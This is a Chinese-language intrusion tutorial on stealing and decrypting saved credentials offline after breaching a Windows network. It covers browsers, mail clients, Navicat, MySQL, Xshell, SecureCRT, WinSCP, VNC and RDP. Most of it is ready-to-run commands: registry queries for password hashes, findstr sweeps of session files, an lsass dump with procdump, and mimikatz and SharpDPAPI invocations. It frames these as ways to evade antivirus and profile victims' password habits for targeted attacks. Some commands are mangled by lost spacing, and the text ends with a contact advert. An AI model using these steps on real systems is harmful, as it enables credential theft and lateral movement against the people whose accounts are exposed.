前言
目前随着企业人员安全意识的提高,在真实环境中进行内网横向时大部分情况会遇到防护软件,网上公开的大部分软件密码解密工具,都需要在被攻击者的机器上面运行,在此期间可能会涉及到运行环境、杀软等多种情况,导致解密失败。本文搜集并总结了下内网中比较常见的一些软件的离线解密方法,包括最新版本和旧版本,适用于部分条件较为苛刻的真实环境中。后续可以根据获得的足够多的密码样本来分析该机主的密码设置方式和使用习惯,从而进行针对性的攻击利用。
360安全浏览器离线解密
首先切到指定用户权限下,获取机器id,把assis2.db账密数据库文件拖回本地执行解密
regquery"HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY"/v"MachineGuid"
C:\Users\tale\AppData\Roaming\360se6\User Data\Default\apps\LoginAssis
执行解密
360SafeBrowserDecrypt.exe8efb8f7a-3ad6-4b78-b654-e4a433d76843assis2.db
Firefox 离线解密
打包firedox文件C:\Users\tale\AppDataoaming\Mozilla*.*本地解密
运行python firefox_decrypt.py最后进行本地解密,如果对方没有设置管理密码,直接回车即可看到结果
注:如直接从webshell或cs上打包,需切到指定用户权限下,关闭firefox进程。
然后进行打包完整用户数据库并拖回本地
Chrome 离线解密
条件:1.用户明文的密码,用于解密加密密钥(可以利用Masterkey离线导出Chrome浏览器中保存的密码,不需要获得用户的明文口令)2.加密密钥(即主密钥文件),位于%appdata%\Microsoft\Protect下对应sid文件夹下的文件3.数据库文件登录数据即Login Data4.Chrome密码还原工具ChromePass下载地址http://www.nirsoft.net/utils/chromepass.html
加密密钥(即主密钥文件),位于%appdata%\Microsoft\Protect下对应sid文件夹下的文件C:\Users\tale\AppDataoaming\Microsoft\Protect
数据库文件登录数据:C:\Users\tale\AppData\Local\Google\Chrome\User Data\Default\Login Data
FileZilla 客户端离线解密
filezilla 客户端的账密默认都是以base64存的,故解码下即可得到明文
存放路径C:\Users\tale\AppDataoaming\FileZilla
#dir %appdata%\FileZilla#cdC:\Users\tale\AppData\Roaming\FileZilla#findstr /c:"<Host>"/c:"<Port>"/c:"<User>"/c:"<Pass"/si *.xml#echodGlkZTEyMw== | base64 -d -i
Foxmail 离线解密
将Account.rec0文件拖回本地,该文件默认存放于Foxmail安装目录下的 Storage目录中注:每个邮箱都对应一个单独的Account.rec0,如果有多个邮箱那就把所有的Account.rec0 文件都拖回来C:\Foxmail 7.2\Storage\uhs0904019202@163.com\Accounts
本地加载解密https://securityxploded.com/foxmail-password-decryptor.php
Thunderbird 离线解密
Mozilla Thunderbird(中文俗称“雷鸟”)是从Mozilla Application Suite独立出来的电子邮件客户端。切到指定用户权限下,然后直接把数据目录下Thunderbird 的用户数据完整打包拖回本地里解密即可
# dir %appdata%\Thunderbird\Profiles# run cmd /c 7z.exe -r -pfxpwd123 a C:\Users\Riter\AppData\Roaming\Thunderbird\Profiles\*.* # ThunderFox.exe creds /target:"C:\Users\tale\Desktop\1stcbtpv.default-release"
Navicat 离线解密
Navicat在内网中遇见的比较多,很多情况下都默认保存了用户密码。在Navicat中保存的所有连接账密,都是直接存到对应注册表项值下的可直接以此来获取各类数据库的连接ip,端口,账号,密码hash,不同的数据库连接信息在注册表中的存放位置稍有不同,以mysql为例:一、mysql数据库连接账密具体存放位置
MySQLHKEY_CURRENT_USER\Software\PremiumSoft\Navicat\Servers\
二、查询当前用户的所有连接记录
# reg query HKEY_CURRENT_USER\Software\PremiumSoft
三、查询Mysql连接账密
#reg query HKEY_CURRENT_USER\SOFTWARE\PremiumSoft\Navicat\Servers#reg query HKEY_CURRENT_USER\SOFTWARE\PremiumSoft\Navicat\Servers /s /v host 数据库连接ip#reg query HKEY_CURRENT_USER\SOFTWARE\PremiumSoft\Navicat\Servers /s /v UserName 数据库用户名#reg query HKEY_CURRENT_USER\SOFTWARE\PremiumSoft\Navicat\Servers /s /vpwd密码hash#reg query HKEY_CURRENT_USER\SOFTWARE\PremiumSoft\Navicat\Servers /s /v Port 据库连接端口
四、 hash本地解密
python3NavicatCipher.pydecB4931811A172BE7059B8
Mysql 离线本地解析
条件:需mysql5.0版本1、将目标Mysql data目录下的user.frm ,user.MYD ,user.MYI 文件托回来2、本地安装MySQL Server,装完之后立即停掉服务,将拖回来的那三个文件分别丢到 C:\Program Files\MySQL\MySQL Server\data\mysql 目录下进行替换
3、修改Mysql服务配置文件C:\Program Files\MySQL\MySQL Server\my.ini在mysqld配置项下添加如下配置,之后启动 Mysql服务
skip-grant-tables
4、无需密码直接登录mysql执行,即可拿到完整的密码hash
mysql>selectuser,password,hostfrommysql.user;
解密hash*A6FC877475CA625B65AD5C01F3C23EBE034B1D0B
PLSQL Developer离线解密
PL/SQL Developer,一个用于在Oracle数据库环境中开发软件的集成开发环境,专注于PL/SQL存储程序单元的开发。一、PLSQL Developer默认连接账密保存位置位于当前用户如下路径的user.prefs文件中,账号和密码的加密方式比较简单,只是简单异或
C:\Users\tale\AppData\Roaming\PLSQL Developer\Preferences\<username>\C:\Program Files\PLSQL Developer\Preferences\<username>\C:\Program Files (x86)\PLSQL Developer\Preferences\tale\
二、user.prefs文件需关注LogonHistory和CurrentConnections下的内容,此处的每一行都代表一条单独的连接记录
实质保存的就是以下内容进行的加密
三、将LogonHistoryCurrentConnections下的内容原样粘回本地,在代码中替换,解密即可
usingSystem;usingSystem.Collections.Generic;usingSystem.IO;publicclassProgram{publicstaticvoidMain(){varvalues =newList();varret =string.Empty;stringscrambled ="543498649004974360845304780507850564970477235823608363436450624608495449804532495246743932415040964234454844624006";for(vari =0; i < scrambled.Length; i +=4){values.Add(Convert.ToInt32(scrambled.Substring(i,4))); }varkey = values[0]; values.RemoveAt(0);for(vari =0; i < values.Count; i++) {varval = values[i] -1000; varmask = key + (10* (i +1));ret += (char)((val ^ mask) >>4); }Console.WriteLine(ret); }}
Xshell、Xftp离线解密
Xshell和Xftp中保存的连接账号密码都默认放在了本地的配置文件中加密存放。以Xshell为例,Xftp的解密过程相同一、首先,切到xshell安装用户下,定位文件路径,针对不同版本的产品,连接会话文件的默认存放位置稍有不同4.x以下的版本,基本放在了当前用户数据目录下的NetSarang目录中,
# dir %appdata%
5.x之后的版本,默认放在了当前用户的Documents目录下的NetSarang 目录中
#dir"%userprofile%\Documents\NetSarang\Xshell\Sessions"# dir "%userprofile%\Documents\NetSarang\Xftp\Sessions"
6.x之后的版本,放在了当前用户的Documents目录下,目录改了名叫 "NetSarang Computer"
#dir"%userprofile%\Documents"#dir"%userprofile%\Documents\NetSarang Computer\6\Xshell\Sessions"#dir"%userprofile%\Documents\NetSarang Computer\6\Xftp\Sessions"
二、 然后批量提取所有会话文件中的连接ip,端口,账号,密码hash,另外还有当前用户名以及当前用户的sid注:5.0以下的版本无需用户名和sid4.x 以下版本
# cdC:\Users\tale\AppData\Roaming\NetSarang\Xshell\Sessions# type *.xsh | findstr /c:"Host="/c:"Port="/c:"Protocol="/c:"UserName="/c:"Password="
5.x 版本
# cdC:\Users\tale\Documents\NetSarang\Xshell\Sessions# type *.xsh | findstr /c:"Host="/c:"Port="/c:"Version="/c:"UserName="/c:"Password="
6.x 版本
# cdC:\Users\tale\Documents\NetSarangComputer\6\Xshell\Sessions# type *.xsh | findstr /c:"Host="/c:"Port="/c:"Version="/c:"UserName="/c:"Password="
三、将获取的信息粘回本地解密4.x 解密c:\Python38\python.exe XShellCryptoHelper.py -d -ver 5.0 yq6eVPz4qERzkwXXX==
5.x 解密c:\Python38\python.exe XShellCryptoHelper.py -d -ver 5.1 -user majun -sid S-1-5-21-2822152782-4156995639-893189310-1000 JepcR/nMFLmM8gNFXXX***
6.x 解密c:\Python38\python.exe XShellCryptoHelper.py -d -ver 6.0 -user WangJuan -sid S-1-5-21-2637387663-1902877020-2618282464-XXX uX/QNt0PwbZ7rwNFBISFDEoKsXXX*
SecureCRT 离线解密
一、切到指定用户权限下,默认都存放在当前用户数据目录下的Config目录下的Sessions目录中,以.ini命名
#dir %APPDATA%\VanDyke\Config\Sessions#cdC:\Users\tale\AppData\Roaming\VanDyke\Config\Sessions
二、批量提取所有会话文件中的连接IP、端口、账号及密码hash如下:以8.0版本为例
# findstr /si /c:"Hostname"/c:"\"Username\"="/c:"\"Password V2\"="/c:"\"[SSH2] Port\"="*.ini
三、最后把密码hash粘回本地解密即可8.0版本解密 (不带前面三位 "02:")
c:\Python38\python.exeSecureCRTCipher.pydec-v2894b1f88420e3d9cfa89a7a06ab18d8e9e3ded949bdfgb1**
Mobaxterm 离线解密
该软件连接信息默认全部加密存于注册表内。一、第一种方式,无管理密码的解密,从注册表中读取连接信息和账密hash,测试MobaXterm版本为12.0 ,该版本不会强制为连接设置管理密码
然后带上目标机器名和MobaXterm的安装用户进行hash本地解密
c:\Python38\python.exeMobaXtermCipher.pydec-syshtale-sysuadministrator-h192.168.0.1-uroot+ARTYMdvHihPWokIa5KdDcjfIjb7pV1SFQD***
二、第二种方式,带管理密码的解密此处测试的MobaXterm为20.0,该版本每次连接都会强制你设置管理密码
# reg query HKEY_CURRENT_USER\Software\Mobatek\MobaXterm\Pc:\Python38\python.exe MobaXtermCipher.py dec -p admin ehx0N63ueLNPkw==
WinSCP 离线解密
一、WinSCP账号密码保存位置默认是直接加密保存在注册表中的,当然也不排除部分管理员把它保存在WinSCP.ini配置文件中,实际中如果注册表里确实查不到东西,最好先去桌面看下工具里的选项设置是存到哪里了
二、切到指定用户权限下,查询注册表中保存的连接账密
regquery x64 HKCU\Software\Martin Prikryl\WinSCP2\Sessions
regqueryx64HKCU\Software\MartinPrikryl\WinSCP2\Sessions\root@45.32.61.129
三、将上面的 hash 粘回本地解密
#winscppwd.exeroot192.168.159.206A35C4158201A0C7D2E3333286D656E726D6A64726D6965726E6C6A3D383135327D1C7F68691B58A20B8CEB61AC622D00A585
四、关于配置文件的解密
shelldir %appdata%
#winscppwd.exeWinSCP.ini
Royal TS 离线解密
切换到指定用户权限下,之后全盘搜".rtsz" 文件,从中提取IP,账号,hash,以最新版Royal TS为例
#cdc:\#dir /b /s *.rtsz#typeC:\Users\Public\Documents\First.rtsz | findstr /c:"CredentialOmitDomain"/c:"CredentialUsername"/c:"CredentialPassword"/c:"URI"
把 hash 粘回本地解密即可,如果 ".rtsz" 文件加了管理密码,则需要先知道管理密码才能解密
VNC Server 离线解密
一、UltraVNC Server 解密全盘搜ultravnc.ini配置文件,密码加密保存在内
#dir c:\*vnc.ini /s /b#type"c:\Program Files\uvnc bvba\UltraVNC\ultravnc.ini"| findstr /c:"pass"
二、TightVNC Server 解密TightVNC的账密配置信息存在注册表里内
# reg query HKEY_LOCAL_MACHINE\SOFTWARE\TightVNC\Server /v ControlPassword # reg query HKEY_LOCAL_MACHINE\SOFTWARE\TightVNC\Server /v password# reg query HKEY_LOCAL_MACHINE\SOFTWARE\TightVNC\Server /v RfbPort
工具解密:
三、 TigerVNC Server解密TigerVNC Server的相关账密信息也存放在注册表中
#reg query HKEY_CURRENT_USER\SOFTWARE\TigerVNC\WinVNC4 /v"password"
四、RealVNC Server解密RealVNC Server的相关账密信息也存放在注册表中,但是需要管理权限才能读取
# reg query HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\vncserver /v password\
Windows RDP凭据管理解密
一、先切到指定用户权限下,执行如下命令查看目标Windows凭据管理器中是否保存有各种系统连接账密
# cmdkey /l
二、查看凭据文件并尝试dump目标系统lsass.exe进程数据,注:某些杀软目前会拦截此操作
# whoami /user# dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*# procdump64.exe -accepteula -ma lsass.exe c:\users\public\documents\lsass.dmp
三、将Dump的文件托回本地,离线解析获取当前用户的GUID和sha1 hash,后续需要利用该值解密数据
#mimikatz.exe"privilege::debug""logmaster.lgos" "sekurlsa::minidumplsass.dmp" "sekurlsa::dpapi""exit"
四、之后使用SharpDPAPI.exe利用上面的hash进行解密解密保存在目标本地的Rdp连接账密
# SharpDPAPI.exe credentials {a4294d6d-1baa-45fb-a5f3-aaa57e3fc69e}:0d6323ac1fa3da97a7b1914440cbd1dde5386935
总结
对内网渗透中常见的软件密码离线解密进行了总结,由于环境、防护设备等因素实战中也会遇到各种各样的问题,因此将一些解密工作转移到本机进行,从而提高成功率,后续也会结合实战继续对利用方法进行完善补充。如有需要网络安全资料的请加v:gogquick